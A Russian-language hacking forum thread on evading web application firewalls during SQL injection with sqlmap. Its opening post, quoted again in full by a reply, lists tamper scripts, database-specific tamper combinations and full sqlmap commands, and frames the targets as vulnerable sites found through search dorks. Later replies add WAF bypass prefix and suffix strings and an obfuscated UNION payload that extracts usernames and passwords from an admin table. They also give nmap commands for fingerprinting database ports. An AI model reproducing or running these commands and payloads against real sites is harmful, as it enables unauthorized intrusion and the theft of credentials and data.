Статья обходим WAF с помощью sqlmap

waf.jpg

Приветствую всех, давно не писал статьи, на моем любимом борде так как очень был занят в offlin-e, но я вернулся не на долго правда но все же я с Вами!
В этой статье речь пойдет о обхода WAF! Вы конечно же спросите что за херь такая waf!? Отвечу по своему, к примеру Вы нашли по дорку уязвимый сайт закинули ссылку например в havij (морковка) или в jsql ну и конечно же в sqlmap и он не пробивается (сайт) и через прокси (--proxy=) и с заменой агента(--user-agent)
и т.д., так вот этот WAF и не дает нам с успехом это сделать собственно, он для этого и предназначен защищать сайты от нас))
Но спешу Вас обкрадывать ниже я представлю Вам список tamper-ов, которые с легкостью обходят эту защиту не всегда, но в основном шансы пробития защиты увеличиваются, а также представлю связки tamper-ов которые подходят для определенных баз данных их бывает несколько видов SQLite, MySQL, ну и конечно всем знакомый обладателями kali-linux --> PostgreSQL и т.д.
вот список tamper-ов с моим корявы переводом)

Код:
apostrophemask.py заменяет символ одинарной кавычки на символы UTF-8
apostrophenullencode.py заменяет символы одинарной кавычки на Unicode двойного байта
appendnullbyte.py, добавляет нулевой символ в конце кодирования полезной нагрузки
base64encode.py использует кодирование Base64 для данной полезной нагрузки
between.py, “the BETWEEN the AND # #” is replaced with “NOT BETWEEN 0 AND #” replace greater-than sign “>” equal sign “=”
bluecoat.py заменяет пробелы допустимым случайным пробелом, сопровождаемым запросом. Альтернативно ставится знак равенства “=”
chardoubleencode.py использует двойное кодирование URL для данной полезной нагрузки все символы (не, обрабатываетт символы, уже закодированные),
charencode.py использует кодирование URL для данной полезной нагрузки, все знаки (не, обращается со знаками, уже закодированными),
charunicodeencode.py использует кодирование URL Unicode для данной полезной нагрузки незакодированного характера (характер уже не обращается закодированный),
concat2concatws.py заменитель, заменяет “CONCAT_WS (0), 0, 0), A, B)” на“CONCAT (A, B)”
equaltolike.py  заменяет похожие операторы  на  знак равенства “=”
greatest.py вместо “>” использует “GREATEST” функцию
halfversionedmorekeywords.py добавляет произвольные MySQL коментарии перед каждым ключевым словом
ifnull2ifisnull.py with “IF (ISNULL (A), B, A)” заменяет “IFNULL (A, B)” примеры
lowercase.py заменяет  значения из каждого нижнего регистра символа и ключевого слова
modsecurityversioned.py окружает полный запрос комментариями
modsecurityzeroversioned.py окружает комментарии, "0" полным запросом
multiplespaces.py добавляет больше пробелов вокруг ключевых слов SQL
nonrecursivereplacement.py заменяет предопределенные ключевые слова, используя представленные SQL
overlongutf8.py преобразовывает все символы в полезную нагрузку
percentage.py добавляет знак процента % перед каждым символом
randomcase.py случайная символьная замена регистра для каждого ключевого слова
randomcomments.py вставляет случайные комментарии в ключевые слова SQL
securesphere.py добавляет последовательность через специальную конфигурацию
sp_password.py Добавляет ‘sp_password’ до конца полезной нагрузки для автоматической путаницы от регистрационных файлов DBMS
space2comment.py заменяет пробелы “/ ** /”
space2dash.py подчеркивает штриховой линией символ комментария “-” сопровождает перевод строки в случайный ряд символов и заменяет пробелы
space2hash.py комментируют символ “#” сопровождаемый переводом строки в случайный ряд символов и заменяют пробел
space2morehash.py тоже самое что и hash.py
space2mssqlblank.py заменяет пробелы, рядом допустимого кандидата среди набора случайного символьного пробела
space2mssqlhash.py комментируют символ “#” сопровождаемый пробелом, чтобы заменить на новую строку
space2mysqlblank.py заменяет пробелы рядом допустимого кандидата среди набора случайного символьного пробела
space2mysqldash.py подчеркивает штриховой линией символ комментария “-” сопровождает и заменяет символы перевода строки пробелы
space2plus.py добавляет плюс “+” с пробелами
space2randomblank.py заменяет пробелы рядом допустимого кандидата, среди набора, случайного символьного пробела
unionalltounion.py заменяет UNION ALL SELECT на UNION SELECT
unmagicquotes.py использует и заменяет multi-byte% bf% 27 и конец общих сведений заменяет пробелами
varnish.py добавляет в HTTP header “X-originating-IP” для обхода WAF
versionedkeywords.py окружает каждый функциональный клавишей не комментируя с базы MySQL
versionedmorekeywords.py окружает каждое ключевое слово "запрос" в MySQL записи

вот и связки tamper-ов:

это универсальный набор подходит для всех баз данных:

Код:
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL:

Код:
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL:

Код:
 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor


Пример применения инструмента в sqlmap

Код:
sqlmap -u ‘http://www.site.com:80/search.cmd?form_state=1’ –level=5 –risk=3 -p ‘item1’ –tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords


–level=5 –risk=3 указывать обязательно, так как это дает шанс уклонится от обнаружения!

Код:
--level=LEVEL      Уровень тестирования (1-5, дефолтно 1)
--risk=RISK        Риск тестирования (0-3, дефолтно 1)

Так же хочу сказать пару слов о проге он создан хакерами для хакеров) очень гибкий инструмент лучшего для взлома и пентеста, я не встречал, он сравним с хирургическим скальпелем и достоин большого внимания но как правило про такие инструменты на RU пространстве написано мало, по пытаюсь в свою очередь этот пробел восполнить и поверьте он много чего еще интересного умеет но об этом потом)


Удачи!

P.S. Я с Вами)) за перевод ногами не пинайте..
 

Приветствую всех, давно не писал статьи, на моем любимом борде так как очень был занят в offlin-e, но я вернулся не на долго правда но все же я с Вами!
В этой статье речь пойдет о обхода WAF! Вы конечно же спросите что за херь такая waf!? Отвечу по своему, к примеру Вы нашли по дорку уязвимый сайт закинули ссылку например в havij (морковка) или в jsql ну и конечно же в sqlmap и он не пробивается (сайт) и через прокси (--proxy=) и с заменой агента(--user-agent)
и т.д., так вот этот WAF и не дает нам с успехом это сделать собственно, он для этого и предназначен защищать сайты от нас))
Но спешу Вас обкрадывать ниже я представлю Вам список tamper-ов, которые с легкостью обходят эту защиту не всегда, но в основном шансы пробития защиты увеличиваются, а также представлю связки tamper-ов которые подходят для определенных баз данных их бывает несколько видов SQLite, MySQL, ну и конечно всем знакомый обладателями kali-linux --> PostgreSQL и т.д.
вот список tamper-ов с моим корявы переводом)

Код:
apostrophemask.py заменяет символ одинарной кавычки на символы UTF-8
apostrophenullencode.py заменяет символы одинарной кавычки на Unicode двойного байта
appendnullbyte.py, добавляет нулевой символ в конце кодирования полезной нагрузки
base64encode.py использует кодирование Base64 для данной полезной нагрузки
between.py, “the BETWEEN the AND # #” is replaced with “NOT BETWEEN 0 AND #” replace greater-than sign “>” equal sign “=”
bluecoat.py заменяет пробелы допустимым случайным пробелом, сопровождаемым запросом. Альтернативно ставится знак равенства “=”
chardoubleencode.py использует двойное кодирование URL для данной полезной нагрузки все символы (не, обрабатываетт символы, уже закодированные),
charencode.py использует кодирование URL для данной полезной нагрузки, все знаки (не, обращается со знаками, уже закодированными),
charunicodeencode.py использует кодирование URL Unicode для данной полезной нагрузки незакодированного характера (характер уже не обращается закодированный),
concat2concatws.py заменитель, заменяет “CONCAT_WS (0), 0, 0), A, B)” на“CONCAT (A, B)”
equaltolike.py  заменяет похожие операторы  на  знак равенства “=”
greatest.py вместо “>” использует “GREATEST” функцию
halfversionedmorekeywords.py добавляет произвольные MySQL коментарии перед каждым ключевым словом
ifnull2ifisnull.py with “IF (ISNULL (A), B, A)” заменяет “IFNULL (A, B)” примеры
lowercase.py заменяет  значения из каждого нижнего регистра символа и ключевого слова
modsecurityversioned.py окружает полный запрос комментариями
modsecurityzeroversioned.py окружает комментарии, "0" полным запросом
multiplespaces.py добавляет больше пробелов вокруг ключевых слов SQL
nonrecursivereplacement.py заменяет предопределенные ключевые слова, используя представленные SQL
overlongutf8.py преобразовывает все символы в полезную нагрузку
percentage.py добавляет знак процента % перед каждым символом
randomcase.py случайная символьная замена регистра для каждого ключевого слова
randomcomments.py вставляет случайные комментарии в ключевые слова SQL
securesphere.py добавляет последовательность через специальную конфигурацию
sp_password.py Добавляет ‘sp_password’ до конца полезной нагрузки для автоматической путаницы от регистрационных файлов DBMS
space2comment.py заменяет пробелы “/ ** /”
space2dash.py подчеркивает штриховой линией символ комментария “-” сопровождает перевод строки в случайный ряд символов и заменяет пробелы
space2hash.py комментируют символ “#” сопровождаемый переводом строки в случайный ряд символов и заменяют пробел
space2morehash.py тоже самое что и hash.py
space2mssqlblank.py заменяет пробелы, рядом допустимого кандидата среди набора случайного символьного пробела
space2mssqlhash.py комментируют символ “#” сопровождаемый пробелом, чтобы заменить на новую строку
space2mysqlblank.py заменяет пробелы рядом допустимого кандидата среди набора случайного символьного пробела
space2mysqldash.py подчеркивает штриховой линией символ комментария “-” сопровождает и заменяет символы перевода строки пробелы
space2plus.py добавляет плюс “+” с пробелами
space2randomblank.py заменяет пробелы рядом допустимого кандидата, среди набора, случайного символьного пробела
unionalltounion.py заменяет UNION ALL SELECT на UNION SELECT
unmagicquotes.py использует и заменяет multi-byte% bf% 27 и конец общих сведений заменяет пробелами
varnish.py добавляет в HTTP header “X-originating-IP” для обхода WAF
versionedkeywords.py окружает каждый функциональный клавишей не комментируя с базы MySQL
versionedmorekeywords.py окружает каждое ключевое слово "запрос" в MySQL записи

вот и связки tamper-ов:

это универсальный набор подходит для всех баз данных:

Код:
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL:

Код:
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL:

Код:
 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Пример применения инструмента в sqlmap

Код:
sqlmap -u ‘http://www.site.com:80/search.cmd?form_state=1’ –level=5 –risk=3 -p ‘item1’ –tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords


–level=5 –risk=3 указывать обязательно, так как это дает шанс уклонится от обнаружения!

Код:
--level=LEVEL      Уровень тестирования (1-5, дефолтно 1)
--risk=RISK        Риск тестирования (0-3, дефолтно 1)

Так же хочу сказать пару слов о проге он создан хакерами для хакеров) очень гибкий инструмент лучшего для взлома и пентеста, я не встречал, он сравним с хирургическим скальпелем и достоин большого внимания но как правило про такие инструменты на RU пространстве написано мало, по пытаюсь в свою очередь этот пробел восполнить и поверьте он много чего еще интересного умеет но об этом потом)


Удачи!

P.S. Я с Вами)) за перевод ногами не пинайте..
Обычно WAF банит после длинного листа трафа
 
За раз, можно применять как правило 1 тэмпер, очень редко 2. Так как они накладываются друг на друга. Самый юзабельный для меня это space2plus.py

Что бы видеть во что sqlmap превращает ваш запрос используете параметр -v 3 ( verbose варируется от 0 до 6, удобнее всего 3 показывать только запросы к серверу без ответа)

Так же очень важные два параметра это префикс это то что мы ставим перед запросом это может string или numeric параметр а так же другие необходимые для проведения инъекции символы, а так символы для обхода WAF --prefix="111'/*!40222" --suffix="*/!'"
 
  • Нравится
Реакции: sosiskapi и Ondrik8
За раз, можно применять как правило 1 тэмпер, очень редко 2. Так как они накладываются друг на друга. Самый юзабельный для меня это space2plus.py

Что бы видеть во что sqlmap превращает ваш запрос используете параметр -v 3 ( verbose варируется от 0 до 6, удобнее всего 3 показывать только запросы к серверу без ответа)

Так же очень важные два параметра это префикс это то что мы ставим перед запросом это может string или numeric параметр а так же другие необходимые для проведения инъекции символы, а так символы для обхода WAF --prefix="111'/*!40222" --suffix="*/!'"
Есть смысл запускать sqlmap по очереди с разными темперами? Что еще можно попробовать кроме темперов?
 
Есть смысл запускать sqlmap по очереди с разными темперами? Что еще можно попробовать кроме темперов?

Смысла в темперах, практически нету. Темперы нужны при работе со сложными запросами, для начала надо определить есть ли инъекция или нет, используя конструкции которые не могут быть забанены WAF. Если ты хочешь увеличить количество проверок то использую параметры
--level=5 --risk=3
Так же важными моментами могут быть regexp, то есть true параметр который есть на странице с определенным параметром, например index.php?newsid=199 "Putin is God" мы ставим параметр

Код:
-u "http://www.target.com/index.php?newsid=199" -p newsid --string="Putin is God" --level=5 --risk=3 -v 3

Так же стоит обратить внимание на
--technique если сразу знаешь тип инъекции билнд или юнион например
--no-cast --no-escape
--cookie ну если ты авторизован на сайте тебе нужны куки


Вопрос в другом ты нашел скулю руками и пытаешься раскрутить ее sqlmap, или ты ищешь иньекции при помощи sqlmap.
Я придерживаюсь что нужно убедится, руками что инъекция есть ( id=199*(1) будет равно id=199 например это свидейтельствует о том что тут есть инъекция, и большинство ваф не будет блочить этот запрос).

По моему опыту нужно самому обойти фильтры понять что блочит WAF, а потом уже исходя из этого подбирать тэмперы в sqlmap. SQLmap вообще используется для автоматизации процесса, а не для поиска и определения уязвимости.
 
Последнее редактирование модератором:
  • Нравится
Реакции: YourBestFriend и Ondrik8
Есть смысл запускать sqlmap по очереди с разными темперами? Что еще можно попробовать кроме темперов?
смысл? ну как ты обойдешь waf с помощью других инструментов как не тампер-ы? ну только если в ручную или с разных IP и подипсией браузеров)) этим имитровать разных пользывателей))которые делают к БД последовательные запросы)
 
Вообще данные тэмперы, не для обхода Веб Фаерволов. Скорее они для решения проблем с кодировками. В sqlmap щас нету ничего, что могло бы обойти веб фаервол даже 2014 года.

Примерно такие конструкции щас для обхода фильтрации
-99999'++/*!00004UN/*88*/iOn*/+/*!00004S/**/ElE/**/cT*/+0x31,0x32,0x33,0x34,0x35,0x36,(/*!00004SeL/**/eC/**/t*/+export_set(5,@:=0,(/*!00004se/**/Le/**/Ct*/+count(*)fR/**/Om(aD/**/min)wHeRe@:=export_set(5,export_set(5,@,/*!00004UsERNaME*/,0x3c6c693e,2),/*!00004PAssW/**/oRd*/,0xa3a,2)),@,2)),0x496873616e2053656e63616e,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137--+-
 
  • Нравится
Реакции: Ondrik8
Вообще данные тэмперы, не для обхода Веб Фаерволов. Скорее они для решения проблем с кодировками. В sqlmap щас нету ничего, что могло бы обойти веб фаервол даже 2014 года.

Примерно такие конструкции щас для обхода фильтрации
***Скрытый текст***
нет, ну как нету, если например вводить запросы в определенной кодировке и с буквами верхнего и малого регистра да и много еще способов есть с которыми тамперы справляются стоит только посмотреть с значением как Вы писали -v 0-6 там красота! Если кто понимает в этом,возможно дело в том что частота запрса тоже играет роль по этому и нужно ее выставлять...

спормть не буду но, есть но..


ну а для детекта waf есть прекрассная тулза wafwoof)


хотя sqlmap тоже детектит..
 
Смысла в темперах, практически нету. Темперы нужны при работе со сложными запросами, для начала надо определить есть ли инъекция или нет, используя конструкции которые не могут быть забанены WAF. Если ты хочешь увеличить количество проверок то использую параметры
--level=5 --risk=3
Так же важными моментами могут быть regexp, то есть true параметр который есть на странице с определенным параметром, например index.php?newsid=199 "Putin is God" мы ставим параметр

Код:
-u "http://www.target.com/index.php?newsid=199" -p newsid --string="Putin is God" --level=5 --risk=3 -v 3

Так же стоит обратить внимание на
--technique если сразу знаешь тип инъекции билнд или юнион например
--no-cast --no-escape
--cookie ну если ты авторизован на сайте тебе нужны куки


Вопрос в другом ты нашел скулю руками и пытаешься раскрутить ее sqlmap, или ты ищешь иньекции при помощи sqlmap.
Я придерживаюсь что нужно убедится, руками что инъекция есть ( id=199*(1) будет равно id=199 например это свидейтельствует о том что тут есть инъекция, и большинство ваф не будет блочить этот запрос).

По моему опыту нужно самому обойти фильтры понять что блочит WAF, а потом уже исходя из этого подбирать тэмперы в sqlmap. SQLmap вообще используется для автоматизации процесса, а не для поиска и определения уязвимости.
Большое спасибо! А Burp Suite с поиском наличия инъекции помочь сможет? или сначала "руками" найди надо?
 
Привет пожалуйста помогите не могу определит версия dbs сайта на sqlmap буду очень благодарен
 
Привет пожалуйста помогите не могу определит версия dbs сайта на sqlmap буду очень благодарен
всегда говорил и буду говорить! пользуйтесь королем всех сканеров NMAP - ом находите порт базы и детектите софт кторый его обслуживает)) 1433 и 1434 порт nmap -p T: 1433 -sV <ip-saita> | nmap -p U: 1434 -sU -sV <ip-saita> tcp | udp порты) и nse скрипты смотрим к нему!!!!! возможно они тоже умеют определять на автомате)
 
Последнее редактирование:
  • Нравится
Реакции: Vertigo
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!